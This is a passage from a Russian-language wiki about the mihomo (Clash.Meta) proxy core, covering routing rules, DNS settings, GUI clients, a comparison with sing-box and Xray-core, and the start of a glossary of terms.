**`IP-ASN`** — по номеру автономной системы: удобно, когда у сервиса десятки подсетей и они меняются. - **`DOMAIN-REGEX`** — совпадение по регулярному выражению. - **Логические правила `AND` / `OR` / `NOT`** — условия склеиваются: например, «домен из категории стриминга **и** запрос пришёл с адреса телевизора». - **`NETWORK`, `IN-TYPE`, `IN-USER`, `IN-NAME`** — маршрутизация по типу трафика (TCP/UDP) и по тому, через какой входящий слушатель он пришёл. Это то, что делает mihomo пригодным для роли шлюза: трафик от разных устройств разводится по разным маршрутам. - **`sub-rules`** — именованные наборы правил, к которым можно переходить из основного списка; конфиг перестаёт быть простынёй на тысячу строк. - **`REMATCH-NAME`** и тип outbound `rematch` (добавлены в v1.19.28, июль 2026) — повторное применение правил к соединению после того, как о нём стало известно больше. **Наборы правил (`rule-providers`)** подгружаются из файла или по URL и обновляются по расписанию. Поддерживаются три формата: `yaml`, `text` и **`mrs`** — компактный бинарный формат самого mihomo, который экономит память и время загрузки на больших списках (доступен для наборов с поведением `domain` и `ipcidr`; конвертация — командой `mihomo convert-ruleset`). Готовые наборы и геоданные команда публикует в репозитории **meta-rules-dat**. ## DNS-подсистема DNS в mihomo — самостоятельная подсистема, а не одна строка с адресом сервера. Поверх режимов `fake-ip` и `redir-host` (разобраны в [[Clash/01-clash-core|базовой заметке]]) добавлены: - **Шифрованные апстримы** — DNS-over-HTTPS, DNS-over-TLS и DNS-over-QUIC, в том числе с указанием, через какой прокси идти к самому DNS-серверу. - **`nameserver-policy`** — какой сервер спрашивать для конкретных доменов или категорий: локальные имена уходят провайдерскому резолверу, всё остальное — шифрованному. - **`proxy-server-nameserver`** — отдельный резолвер для доменов ваших прокси-серверов, чтобы не получилось замкнутого круга «чтобы подключиться к серверу, нужно разрешить его имя через этот же сервер». - **`fake-ip-filter`** — исключения из подстановки адресов для приложений, которым нужен настоящий IP. - **`hosts`** — локальные переопределения имён. Смысл этой сложности практический: DNS — самый частый канал утечки. Если запросы уходят провайдеру в открытом виде, наблюдатель видит список посещаемых доменов, даже когда сам трафик надёжно зашифрован, а на части сетей ещё и получает возможность подменять ответы (пример того, к чему это приводит, — в [[DPI/google-dns-8888-block-july-2026|разборе блокировки публичных DNS]]). ## Группы и подписки Помимо классических `select`, `url-test`, `fallback`, `load-balance` и `relay` (разобраны в [[Clash/01-clash-core|ядре Clash]]), mihomo добавил к группам механику, которая экономит ручную работу: фильтры `filter` и `exclude-filter` по имени узла (группа сама подхватывает из подписки только нужные страны), `default-selected` (какой узел активен при старте), `empty-fallback` (что делать, если группа опустела), настраиваемые таймауты проверок. **`proxy-providers`** — подписки как отдельная сущность: URL, интервал обновления, health-check, фильтры и переопределения полей. Группы ссылаются на провайдер через `use`, поэтому смена продавца или добавление второй подписки не требуют переписывания правил. > [!note] Группа `smart` — про неё спрашивают отдельно > В сообществе обсуждают «умную» группу, которая выбирает узел не по одной задержке, а по предсказанию модели (LightGBM) с учётом типа трафика и истории успешных соединений. На июль 2026 такая группа известна прежде всего по **сторонним сборкам ядра** (например, сборкам в рамках проекта OpenClash) и веткам Alpha, а не как базовая функция стабильного mihomo. Прежде чем закладываться на неё, проверьте, есть ли тип `smart` в документации именно вашей сборки. ## Clash API и дашборды Управляющий HTTP-API (см. раздел про `external-controller` в [[Clash/01-clash-core|ядре Clash]]) в mihomo расширен: добавлены ручки статистики памяти, отладочные эндпоинты, управление провайдерами правил и узлов. Официальный дашборд — **metacubexd**; из популярных сторонних — zashboard и наследники yacd. Всё это одинаково применимо и к ядру внутри графического клиента: большинство оболочек просто открывают тот же API у своего встроенного mihomo. ## 📚 См. также - [[Clash/02-mihomo|mihomo (Clash.Meta)]] — история проекта, состояние и совместимость. - [[Clash/01-clash-core|Ядро Clash]] — базовое устройство конфига, правила, группы, fake-ip, Clash API. - [[Clash/07-clients|Клиенты на ядре Clash/mihomo]] — где всё это включается кнопками. - [[Clash/08-vs-sing-box|mihomo против sing-box и Xray]] — как тот же набор функций устроен у соседей. - [[protocols/00-overview|Обзор протоколов]] — карта: какой протокол какую задачу решает и какое ядро его поддерживает. - [[xray/vless|Протокол VLESS]] и [[xray/reality|REALITY]] — устройство самых востребованных сегодня протокола и маскировки. - [[Hysteria/00-overview|Hysteria 2]] — QUIC-альтернатива TCP-протоколам, поддерживаемая mihomo. - 🔗 [wiki.metacubex.one](https://wiki.metacubex.one/) — документация по всем полям конфига. - 🔗 [Релизы mihomo](https://github.com/MetaCubeX/mihomo/releases) — первоисточник по новым протоколам и функциям. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Clash/06-features-protocols.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-25 tags: - clash - mihomo - клиенты - gui aliases: - Клиенты Clash - Оболочки mihomo - Clash Verge Rev - FlClash - Mihomo Party link: https://github.com/MetaCubeX/mihomo --- # 🖥️ Клиенты на ядре Clash/mihomo: что живо, а что мертво > [!info] О чём заметка > Карта графических оболочек, работающих на ядре [[Clash/02-mihomo|mihomo]] (бывший Clash.Meta): какие проекты активны на июль 2026, какие исчезли в ноябре 2023 и почему разница между «обновить приложение» и «обновить ядро» важнее, чем кажется. Сами протоколы и функции ядра разобраны в [[Clash/06-features-protocols|заметке о возможностях mihomo]]; про клиенты соседней экосистемы Xray — в [[xray/clients-and-routing|Клиенты и маршрутизация]]. ## TL;DR - Оболочка — это **обёртка вокруг ядра**: она носит в себе бинарник mihomo, запускает его и управляет им через Clash API. Логика маршрутизации живёт в ядре и в YAML-конфиге, а не в приложении. - На июль 2026 активно развиваются: **Clash Verge Rev** (Windows/macOS/Linux), **FlClash** (кроссплатформенный), **Mihomo Party / Clash Party** (десктоп), **ClashMetaForAndroid (CMFA)** и **ClashX Meta** (macOS). - Мертвы или заброшены: **Clash for Windows** (репозиторий удалён 2 ноября 2023), оригинальный **ClashX**, оригинальный **Clash Verge** — его продолжение и есть Verge Rev. - На роутерах ядро запускают отдельные пакеты: **OpenClash** и **ShellClash** для OpenWrt-подобных прошивок. - Практическое правило: обновление GUI ≠ обновление ядра. Свежее приложение со старым ядром не откроет подписку с новыми протоколами. ## Оболочка и ядро — кто за что отвечает Клиент на ядре Clash устроен просто: приложение хранит рядом с собой исполняемый файл mihomo, при запуске стартует его с вашим конфигом и дальше разговаривает с ним по HTTP через [[Clash/01-clash-core|Clash API]]. Всё, что вы видите в интерфейсе — список узлов, переключатель группы, график скорости, лог соединений — это ответы API, отрисованные красиво. Из этой архитектуры следуют три практических вывода. **Первое: поведение сети определяет конфиг, а не приложение.** Если трафик идёт не туда, виноваты правила в YAML, а не выбор оболочки. Смена клиента ту же проблему не лечит — переносится же вместе с подпиской и её логика. **Второе: ядро обновляется отдельно.** Многие оболочки обновляются чаще или реже, чем mihomo, и позволяют обновить ядро отдельной кнопкой либо подменить бинарник вручную. Типичный симптом устаревшего ядра — подписка импортируется, но узел с новым протоколом (скажем, AnyTLS или свежий вариант обфускации) не подключается, а в логе видно «unsupported proxy type». **Третье: одинаковые проблемы лечатся одинаково.** Инструкции по правилам, DNS и TUN из документации mihomo применимы к любой оболочке — меняется только то, в каком окне вписывается конфиг. **Четвёртое: выбор клиента иногда пытаются сделать за вас.** Часть продавцов подписок включает привязку к устройству (HWID) — тогда панель отдаёт конфигурацию только приложениям, умеющим отправлять специальный заголовок, а остальные получают ошибку 404. Ядра к этому непричастны: ограничение живёт на этапе загрузки подписки, а не в протоколе. Разбор механики и способ проверить свою подписку — в [[subscriptions/hwid-client-lock|заметке про HWID-привязку]]. > [!warning] Клиент видит весь ваш трафик > Прокси-клиент расшифровывает и маршрутизирует всё, что вы делаете в сети. Ставьте оболочки только из их официальных репозиториев и проверяйте, что репозиторий действительно живой (недавние коммиты, релизы, issue tracker). После ноября 2023 года имена исчезнувших проектов активно используют сайты-агрегаторы, и «Clash for Windows» с рекламной страницы — это чужая сборка неизвестного происхождения, а не оригинал. ## Живые проекты (июль 2026) | Клиент | Платформы | Чем примечателен | |---|---|---| | **Clash Verge Rev** | Windows, macOS, Linux | Продолжение заброшенного Clash Verge; интерфейс на Tauri (Rust), поддерживает только ядро mihomo — оригинальное ядро Clash в нём убрано за ненадобностью | | **FlClash** | Windows, macOS, Linux, Android | Написан на Flutter, поэтому одинаково выглядит на десктопе и телефоне; удобен, если хочется один клиент на все устройства | | **Mihomo Party / Clash Party** | Windows, macOS, Linux | Проект, целиком построенный вокруг mihomo: обычно быстрее прочих подхватывает свежие возможности ядра | | **ClashMetaForAndroid (CMFA)** | Android | «Родная» андроид-оболочка от MetaCubeX; работает через системный VPN-сервис Android | | **ClashX Meta** | macOS | Наследник ClashX, переведённый на ядро mihomo; минималистичный клиент в строке меню | | **GUI.for.Clash** | Windows, macOS, Linux | Оболочка, ориентированная на тонкую ручную настройку и работу с несколькими ядрами | > [!note] Статусы проверяйте сами > Судьбы клиентов в этой экосистеме меняются быстро — проект может замереть или смениться форком за считаные месяцы. Список выше отражает состояние на **25 июля 2026**; перед установкой откройте репозиторий и посмотрите дату последнего релиза, а не только звёзды и рекламные страницы. ## Роутеры и системные сценарии На домашних роутерах ядро запускают не оболочкой, а пакетом прошивки. Для OpenWrt-подобных систем это **OpenClash** и **ShellClash** — они ставят ядро, генерируют конфиг, поднимают прозрачный перехват (redir/TPROXY или TUN) и дают веб-интерфейс. Смысл варианта в том, что клиент не нужен ни одному устройству в доме: телефоны, телевизор и консоль ходят через шлюз, а правила применяются централизованно. Второй системный сценарий — mihomo как сервис на мини-ПК или домашнем сервере, с `listeners` в роли входной точки для остальных устройств (см. раздел про входящие подключения в [[Clash/06-features-protocols|возможностях mihomo]]). Ставится он как обычный systemd-сервис, а управляется через веб-дашборд (metacubexd, zashboard), подключённый к Clash API. ## Что исчезло в ноябре 2023 Волна удалений 2–3 ноября 2023 года выкосила самые популярные клиенты (полная хроника — в разделе [[Clash/01-clash-core|«Ноябрь 2023: репозитории исчезли»]]): - **Clash for Windows** — на тот момент главный десктопный клиент; репозиторий удалён автором 2 ноября 2023. Проект не возобновлялся. Всё, что распространяется под этим именем сегодня, — сторонние сборки без связи с автором. - **ClashX (macOS)** — заархивирован; развитие продолжилось в форке ClashX Meta. - **ClashForAndroid** — удалён; актуальная замена — ClashMetaForAndroid. - **Clash Verge** — заархивирован; развитие продолжилось в форке **Clash Verge Rev**, который сегодня и является основным десктопным клиентом. - **clash-dashboard**, **GUI.for.Clash**, **ShellClash** и ещё около двух десятков проектов попали в ту же волну; часть из них позже вернулась под новыми именами или в форках. Общая закономерность: **исчезали проекты, а не технология**. Формат конфига, Clash API и подписки пережили удаление репозиториев, поэтому пользователи в большинстве случаев просто переставили клиент и импортировали ту же самую подписку. ## Как выбирать Если нужен один ответ: на десктопе разумная точка входа — **Clash Verge Rev**, на Android — **ClashMetaForAndroid** или **FlClash**, если хочется одинаковый интерфейс на всех устройствах. Дальше выбор упирается не в функции ядра (оно у всех одно), а в мелочи: как клиент обновляет ядро, умеет ли редактировать конфиг прямо в окне, как ведёт себя TUN-режим на вашей ОС и не конфликтует ли он с корпоративным VPN или антивирусом. Отдельный вопрос — а нужна ли вообще экосистема Clash. Если ваша подписка — обычный VLESS+REALITY от одного продавца и ничего сложнее раздельной маршрутизации не требуется, клиенты на [[xray/project-x|Xray-core]] вроде Happ проще (см. [[xray/clients-and-routing|Клиенты и маршрутизация]]). Сильная сторона mihomo проявляется там, где нужны десятки узлов из нескольких подписок, автоматический выбор, сложные правила и один и тот же конфиг на телефоне, ноутбуке и роутере. Развёрнутое сравнение ядер — в [[Clash/08-vs-sing-box|отдельной заметке]]. ## 📚 См. также - [[Clash/00-overview|Обзор раздела Clash]] — с чего начать чтение. - [[Clash/02-mihomo|mihomo (Clash.Meta)]] — ядро, на котором работают все перечисленные клиенты. - [[Clash/06-features-protocols|Возможности и протоколы mihomo]] — что именно включают кнопки в интерфейсе. - [[Clash/08-vs-sing-box|mihomo против sing-box и Xray]] — какое ядро выбрать под задачу. - [[Clash/03-first-run|Первый запуск]] — что делать сразу после установки выбранного клиента. - [[Clash/05-troubleshooting|Типичные проблемы]] — диагностика, включая случаи «подписка не добавляется» и «узел не подключается». - [[subscriptions/hwid-client-lock|HWID-привязка и запрет «чужих» клиентов]] — когда выбор клиента ограничивает продавец, а не ваши предпочтения. - [[xray/clients-and-routing|Клиенты и маршрутизация Xray]] — альтернативная экосистема клиентов и настройка раздельного туннелирования. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Clash/07-clients.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-25 tags: - clash - mihomo - sing-box - xray - сравнение aliases: - mihomo против sing-box - Сравнение ядер прокси - Какое ядро выбрать - mihomo vs Xray link: https://github.com/MetaCubeX/mihomo --- # ⚖️ mihomo против sing-box, Xray и других ядер > [!info] О чём заметка > Сравнение [[Clash/02-mihomo|mihomo]] с двумя другими универсальными ядрами — [[sing-box/sing-box-extended|sing-box]] и [[xray/project-x|Xray-core]] — и с узкоспециализированными решениями вроде [[Hysteria/00-overview|Hysteria]]. Разбор идёт по осям, которые реально влияют на выбор: формат конфига, роль в сети, маршрутизация, экосистема клиентов, серверная часть. Что такое сам mihomo и что он умеет — в заметках [[Clash/02-mihomo|mihomo (Clash.Meta)]] и [[Clash/06-features-protocols|Возможности и протоколы]]. ## TL;DR - **Список протоколов проверять обязательно — но смотреть надо на край списка, а не на середину.** Базовый набор (VLESS с REALITY, Hysteria 2, WireGuard, Shadowsocks, Trojan, VMess) есть у всех трёх, и по нему ядра неразличимы. Расходятся они на «редких» позициях, и там расхождение жёсткое: NaiveProxy есть в sing-box, но его нет ни в mihomo, ни в Xray-core; TUIC, Snell и ShadowTLS есть в mihomo и sing-box, но не в Xray; XHTTP и VLESS encryption первыми появляются в Xray. - **mihomo** — сильнее всех в клиентской маршрутизации и в живом интерфейсе: YAML-конфиг, группы политик, готовые подписки, Clash API и десяток графических оболочек поверх. - **sing-box** — строгий JSON, продуманная модель правил и rule-set, аккуратные официальные приложения на всех платформах; консервативнее в добавлении экзотики. - **Xray-core** — центр серверной экосистемы: панели 3x-ui и Marzban, самые свежие возможности VLESS ([[xray/xhttp|XHTTP]], XTLS Vision, VLESS encryption) появляются здесь первыми. - Ядра **совместимы по проводу**, а не по конфигу: сервер на Xray и клиент на mihomo прекрасно работают вместе, потому что говорят на одном протоколе — но конфиги друг друга они не читают. - Если в VLESS появляется новый режим (как постквантовое шифрование `mlkem768x25519plus`), **старые связки продолжают работать, а новые — нет**: пока ядро не обновится, подключиться к серверу с новым режимом не выйдет. Разбор — в разделе «Что будет, если VLESS изменит протокол или шифрование». - Практический ориентир: сервер — Xray или sing-box, клиент со сложной маршрутизацией и множеством подписок — mihomo, один аккуратный клиент на всех устройствах — sing-box. ## Список протоколов решает — но на краю, а не в середине Первое, что делает человек при выборе, — сравнивает таблички поддержки протоколов. Мысль «это всё равно, у всех одно и то же» здесь неверна, и вот почему. **В середине списка ядра действительно неразличимы**: VLESS с [[xray/reality|REALITY]], [[Hysteria/00-overview|Hysteria 2]], WireGuard, Shadowsocks, Trojan, VMess есть у всех трёх, и по этим позициям выбирать не из чего. Даже Hysteria 2, которой в Xray-core долго не было, появилась там в январе 2026 (релиз v26.1.23) — и это хорошая иллюстрация того, что «край списка» со временем переезжает в середину. **А на краю списка расхождения жёсткие, и обойти их нечем.** Самый наглядный пример — **[[protocols/naiveproxy|NaiveProxy]]**: он реализован в sing-box (и как входящий, и как исходящий, со свежими доработками вроде QUIC и ECH), а в Xray-core и mihomo его нет вовсе. Если сервер выдаёт вам naive, то вопрос «какое ядро удобнее» просто не стоит: подойдёт только то, где протокол реализован. Точно так же работают и обратные примеры: Snell и ShadowTLS есть в mihomo, но не в Xray-core; [[xray/xhttp|XHTTP]] и VLESS encryption рождаются в Xray и доезжают до соседей позже; OpenVPN, Tailscale и MTProxy встречаются лишь в отдельных ядрах и форках (см. [[sing-box/sing-box-extended|sing-box-extended]]). Практическое правило поэтому такое: **сначала посмотрите, какой протокол вам нужно поддержать, и только потом сравнивайте удобство**. Если протокол базовый — выбирайте по эргономике и экосистеме, разделы ниже как раз про это. Если протокол редкий — список поддержки становится главным и единственным критерием, и никакая удобная маршрутизация его не компенсирует. > [!note] Список поддержки — вещь скоропортящаяся > Позиции из «края списка» регулярно переезжают в середину: то, чего в ядре нет сегодня, вполне может появиться в релизе через месяц (mihomo, например, так получил OpenVPN и Tailscale летом 2026). Поэтому проверяйте поддержку по документации и changelog **той версии, которая у вас стоит**, а не по статьям — включая эту. Отдельно стоит понимать, откуда вообще берётся совместимость там, где она есть. **Ядра совместимы не общим кодом, а общими спецификациями**: VLESS в mihomo и VLESS в Xray-core — это разные реализации, дающие одинаковые байты на проводе. Механизм подробно разобран в заметке [[sing-box/protocols-origin|Откуда в sing-box код протоколов]], а сама идея «двух независимых реализаций одного протокола» — в [[sing-box/wire-protocol-explained|вводной про wire-протокол]]. Отсюда следует приятное: **клиент и сервер не обязаны быть на одном ядре**. Сервер на Xray с REALITY одинаково обслуживает клиента на mihomo, на sing-box и на самом Xray. И неприятное — о нём следующий раздел. ## Что будет, если VLESS изменит протокол или шифрование Вопрос звучит так: если в VLESS появится новый режим шифрования или изменится формат, перестанет ли работать sing-box (или mihomo) до обновления? **Короткий ответ: сам по себе — нет, но как только эту новинку включат на сервере — да, перестанет, и лечится это только обновлением ядра.** Разберём подробно, потому что путаница здесь стоит дорого. **Старое продолжает работать.** Ваша связка «клиент такой-то версии ↔ сервер такой-то конфигурации» не ломается от того, что где-то вышла новая спецификация. Пока сервер отдаёт то, что клиент умеет, соединение устанавливается ровно как раньше. Выход новой версии Xray не отключает ваши текущие узлы. **Ломается новое.** Раз каждое ядро реализует спецификацию своим кодом (см. предыдущий раздел), новый режим не появляется у всех одновременно. Он выходит в том ядре, где его придумали, а остальные догоняют — недели или месяцы. Всё это время связка «сервер с новым режимом ↔ клиент на другом ядре» не работает: клиент буквально не знает, что отвечать. Живой пример — [[xray/vless-encryption|**VLESS Encryption**]] (`mlkem768x25519plus`, постквантовый обмен ключами с набивкой трафика). Механизм разработали в Xray-core и выпустили в релизе v25.9.5 (5 сентября 2025). Дальше ядра разошлись: mihomo реализовал его даже раньше — в v1.19.13 от 27 августа 2025, взяв код прямо из ветки разработки Xray (сам pull request открыли только на следующий день), — а **sing-box не поддерживает его до сих пор** (проверено на стабильной v1.13.16, август 2026). Симптомы у пользователей при этом разные в зависимости от стороны: старый Xray-клиент, которому подсунули настоящую строку `encryption`, вообще не стартует — конфиг отвергается на разборе с требованием указать `"encryption":"none"`; а если такой клиент подключается к уже мигрировавшему серверу, ошибки расшифровки видит сервер, для пользователя же соединение просто обрывается или зависает. У клиентов на sing-box поведение ещё хуже: разбор идёт с запретом неизвестных полей, поэтому лишнее поле `encryption` ломает **весь** конфиг подписки, а не один узел (это касается подписок в формате конфига sing-box; клиент, сам разбирающий `vless://`-ссылку, лишний параметр отбросит). Точно так же в своё время расходились по ядрам XTLS Vision и [[xray/xhttp|XHTTP]]. **Как это выглядит на практике.** Симптом обычно не «нет интернета вообще», а «конкретный узел не подключается, остальные работают»: в логе — ошибка рукопожатия, расшифровки или неизвестного параметра. Виноват при этом не клиент «сломался», а рассинхрон версий: администратор включил на сервере то, чего ваша сборка ещё не умеет. Отсюда три практических вывода: - **Обновляйте ядро, а не только оболочку.** Графический клиент может обновляться сам по себе, а бинарник ядра внутри — оставаться прошлогодним (подробнее — в [[Clash/07-clients|заметке про клиенты]]). - **Смена параметров на сервере — это ломающее изменение для клиентов.** Если вы админ, включая новый режим шифрования, предупреждайте пользователей или держите отдельный inbound со старыми настройками, пока все не обновятся. - **Не гонитесь за самой новой опцией на клиенте без нужды.** Новый режим полезен, когда его поддерживает и ваш сервер; в остальных случаях он лишь повышает шанс поймать несовместимость. > [!warning] Обновление ядра — не только про новые функции > В прокси-ядрах регулярно чинят и то, что влияет на обнаружение: TLS-отпечатки, поведение при активном зондировании, ошибки реализации протоколов. Клиент годовалой давности может исправно подключаться и при этом выделяться на фоне свежих — то есть работать до первого внимательного взгляда DPI. Это отдельный довод обновляться, помимо совместимости. Есть и обратная сторона: **конфиги между ядрами не переносятся**. YAML от mihomo не скормить sing-box, JSON sing-box не понять Xray. Переезд означает переписывание конфигурации (или использование конвертеров подписок, которые генерируют нужный формат из общего описания узлов). ## Сравнение по осям | Ось | mihomo | sing-box | Xray-core | |---|---|---|---| | Базовый набор протоколов | VLESS/REALITY, Hysteria 2, WireGuard, SS, Trojan, VMess | то же | то же (Hysteria 2 — с января 2026) | | Протоколы «на краю списка» | TUIC, Snell, ShadowTLS, AnyTLS, SSH, OpenVPN, Tailscale, Mieru, GOST-реле; NaiveProxy — нет | NaiveProxy (in/out), TUIC, AnyTLS, ShadowTLS, Snell, SSH, Tailscale и OpenVPN (endpoint); экзотика вроде Mieru — в форке | XHTTP и VLESS encryption раньше всех; TUIC, NaiveProxy, Snell, ShadowTLS, AnyTLS, SSH — нет | | Формат конфига | YAML, читается без документации | JSON со строгой схемой | JSON, унаследованный от v2ray (внутри — protobuf) | | Основная роль | Клиент и шлюз; сервер — как дополнение | Полноценно и клиент, и сервер | Сервер как основной сценарий, клиент — тоже | | Маршрутизация | Группы политик + правила + провайдеры правил | Правила и rule-set в бинарном формате `.srs` | Правила роутинга, ориентированные на серверные сценарии | | Наборы правил | `yaml` / `text` / бинарный `.mrs` | бинарный `.srs`, компилируемый из исходников | geosite/geoip `.dat` | | API управления | Clash API — де-факто стандарт для дашбордов | Собственный API (Clash API поддерживается для совместимости) | gRPC API (статистика и управление), заточен под панели | | Графические клиенты | Больше всего оболочек: Verge Rev, FlClash, Mihomo Party, CMFA | Официальные приложения SFI/SFA/SFM + сторонние | v2rayN, Happ, Hiddify, Streisand и другие | | Серверные панели | Нет своей экосистемы панелей | Управляющая подсистема есть в форке [[sing-box/architecture\|sing-box-extended]] | 3x-ui, Marzban и другие — крупнейшая экосистема | | Темп новых функций | Очень высокий, много экзотики | Умеренный, консервативный отбор | Высокий в части VLESS/XTLS | | Язык, лицензия | Go, GPL-3.0 | Go, GPL-3.0 | Go, MPL-2.0 | Строку про API стоит развернуть: **Clash API оказался тем интерфейсом, который пережил своё ядро**. Именно поэтому вокруг mihomo существует столько независимых дашбордов и оболочек — писать их можно на чём угодно, ядро при этом остаётся неизменным. sing-box поддерживает совместимость с этим API отдельной опцией, что позволяет использовать привычные дашборды и с ним. ## Когда что выбирать **Берите mihomo**, если у вас много узлов из нескольких подписок и нужно, чтобы они автоматически проверялись и переключались; если маршрутизация сложная (десятки категорий доменов, разные правила для разных устройств в доме); если хочется веб-дашборд и один и тот же YAML на ноутбуке, телефоне и роутере. Это самое «клиентское» из трёх ядер, и в удобстве повседневного управления узлами ему пока нет равных. **Берите sing-box**, если цените предсказуемость и порядок: строгая схема конфига, аккуратная модель правил, официальные приложения под все платформы от одной команды, меньше сюрпризов при обновлении. Он же удобен, когда одним бинарником нужно закрыть и сервер, и клиент, и делать это на нескольких платформах одинаково. Разбор внутреннего устройства — в [[sing-box/architecture|архитектуре sing-box-extended]], а обзор расширенного форка — в [[sing-box/sing-box-extended|отдельной заметке]]. **Берите Xray-core**, если поднимаете сервер и хотите самую свежую линию развития VLESS: [[xray/reality|REALITY]], [[xray/xtls-vision|XTLS Vision]], [[xray/xhttp|XHTTP]] появляются здесь первыми, а вокруг ядра выросла экосистема панелей с учётом пользователей и выдачей подписок. Клиентская маршрутизация у него тоже есть (см. [[xray/routing|роутинг Xray]]), но она заметно менее «продуктовая», чем у mihomo. **Берите специализированное решение**, если задача узкая. [[Hysteria/00-overview|Hysteria 2]] — один протокол, но со своим сервером, ACL, статистикой и port hopping; на плохих каналах он часто выигрывает у универсальных ядер именно потому, что вся программа заточена под один сценарий. Обратная сторона очевидна: если UDP в вашей сети режется, запасной TCP-вариант придётся держать отдельно. > [!tip] Комбинация вместо выбора > Ядра не конкурируют внутри одной инсталляции — их можно совмещать. Типовая рабочая схема: **сервер на Xray или sing-box**, потому что там панели и свежие протоколы; **клиент на mihomo**, потому что там удобная маршрутизация и живой интерфейс. Никакой платы за такое смешение нет: связь между ними держится на протоколе, а не на общем коде. ## Что ещё есть рядом - **v2ray-core (v2fly)** — прародитель Xray, до сих пор развивается отдельным сообществом. Историю раскола и различия двух проектов разбирает заметка [[xray/v2fly-vs-xray|v2fly против Xray]]. - **Ядро оригинального Clash** — не развивается с ноября 2023 года (см. [[Clash/01-clash-core|Ядро Clash]]). Использовать его сегодня незачем: mihomo совместим с его конфигами и умеет кратно больше. - **Экспериментальные переписывания** — например, реализация ядра mihomo на Rust (`meow-rs`). Такие проекты интересны как эксперимент, но для повседневной работы у них нет ни объёма ревью, ни истории эксплуатации, ни экосистемы клиентов. - **Форки с серверными надстройками** — [[sing-box/sing-box-extended|sing-box-extended]] добавляет к sing-box панель администратора, лимитеры и десяток дополнительных протоколов. Это пример того, как недостающие возможности закрываются форком, а не сменой ядра. > [!warning] Универсального «лучшего ядра» нет > Любой рейтинг вида «X лучше Y» держится ровно до следующего релиза: набор функций у всех трёх проектов меняется каждые несколько недель, и то, чего сегодня нет в одном ядре, завтра появляется. Сравнение выше — срез на **25 июля 2026** и по устойчивым свойствам (формат конфига, экосистема, роль в сети), а не по перечню галочек. Проверяйте актуальные списки функций в документации проектов. ## 📚 См. также - [[Clash/00-overview|Обзор раздела Clash]] — оглавление раздела. - [[Clash/02-mihomo|mihomo (Clash.Meta)]] и [[Clash/06-features-protocols|его возможности]] — подробности по одной из сравниваемых сторон. - [[sing-box/sing-box-extended|sing-box-extended]] — обзор соседней платформы и её расширенного форка. - [[sing-box/protocols-origin|Откуда в sing-box код протоколов]] — почему ядра совместимы, не разделяя кода. - [[xray/project-x|Project X (Xray-core)]] — история и экосистема третьего ядра. - [[Hysteria/00-overview|Hysteria 2]] — пример специализированного решения под один протокол. - [[protocols/00-overview|Обзор протоколов]] — полная таблица поддержки протоколов по ядрам и разборы каждого протокола. - [[subscriptions/hwid-client-lock|HWID-привязка и запрет «чужих» клиентов]] — ограничение, которое отнимает выбор ядра на уровне подписки, а не протокола. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Clash/08-vs-sing-box.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-25 tags: - clash - mihomo - словарь - новичкам aliases: - Словарь Clash - Термины mihomo - Глоссарий Clash --- # 📖 Словарь терминов: что означают слова в интерфейсе и конфиге > [!info] О чём заметка > Расшифровка понятий, которые встречаются в клиентах на ядре [[Clash/02-mihomo|mihomo]], в YAML-конфигах и в инструкциях продавцов: узел, группа, провайдер, TUN, fake-ip, сниффер, мультиплекс и прочее. Заметка рассчитана на новичка и служит справочником к остальным материалам раздела — [[Clash/03-first-run|первому запуску]], [[Clash/04-rules|правилам]] и [[Clash/05-troubleshooting|диагностике]]. ## Основные сущности **Ядро (core).** Программа без интерфейса, которая делает всю работу: принимает соединения, шифрует, выбирает маршрут. В экосистеме Clash это сегодня [[Clash/02-mihomo|mihomo]]. Подробно — в [[Clash/01-clash-core|Ядре Clash]]. **Клиент, оболочка (GUI).** Приложение с кнопками, которое запускает ядро и управляет им. Ядро внутри обновляется **отдельно** от приложения — частый источник проблем (см. [[Clash/07-clients|обзор клиентов]]). **Конфиг (профиль).** YAML-файл с описанием серверов, групп, правил и DNS. Один клиент может держать несколько профилей и переключаться между ними. **Подписка.** Ссылка, по которой клиент скачивает конфиг и периодически обновляет его. Продавец меняет серверы — у вас они обновляются сами. **Узел (node, proxy).** Один конкретный сервер со своими адресом, портом, протоколом и ключом. В интерфейсе обычно подписан страной или городом. **Группа (proxy-group).** Набор узлов с правилом выбора: вручную (`select`), по скорости (`url-test`), по живости (`fallback`), с распределением нагрузки (`load-balance`) или цепочкой (`relay`). Правила маршрутизации ссылаются на группы, а не на узлы. **Провайдер узлов (proxy-provider).** Подписка, оформленная как отдельная сущность: URL, интервал обновления, фильтры. Группы подхватывают из неё узлы автоматически. **Провайдер правил (rule-provider).** То же самое, но для списков правил: реклама, категории сайтов, подсети. Подключается одной строкой `RULE-SET` (см. [[Clash/04-rules|рецепты правил]]). ## Как трафик попадает в ядро **Системный прокси.** Клиент прописывает себя в настройки прокси операционной системы. Просто и безопасно, но приложения, игнорирующие эти настройки, идут мимо туннеля. **TUN.** Виртуальный сетевой интерфейс: система считает его обычным сетевым адаптером и отдаёт туда весь трафик, включая приложения, которые про прокси не знают. Требует прав администратора. Есть у всех трёх популярных ядер — у mihomo и sing-box давно, у Xray-core с января 2026 (инбаунд `"protocol": "tun"`). **Это и есть то, что в интерфейсах клиентов называют «режимом VPN»** — подпись на переключателе бывает и «TUN Mode», и «VPN mode», механизм за ней один. При этом сам протокол под ним остаётся прокси: чем прокси отличается от настоящего VPN и что из этого следует — в [[protocols/00-overview|обзоре протоколов]]. **Сетевой стек TUN (`system` / `gvisor` / `mixed`).** Как именно обрабатываются перехваченные пакеты: средствами операционной системы (быстрее), в пользовательском пространстве через gVisor (совместимее) или 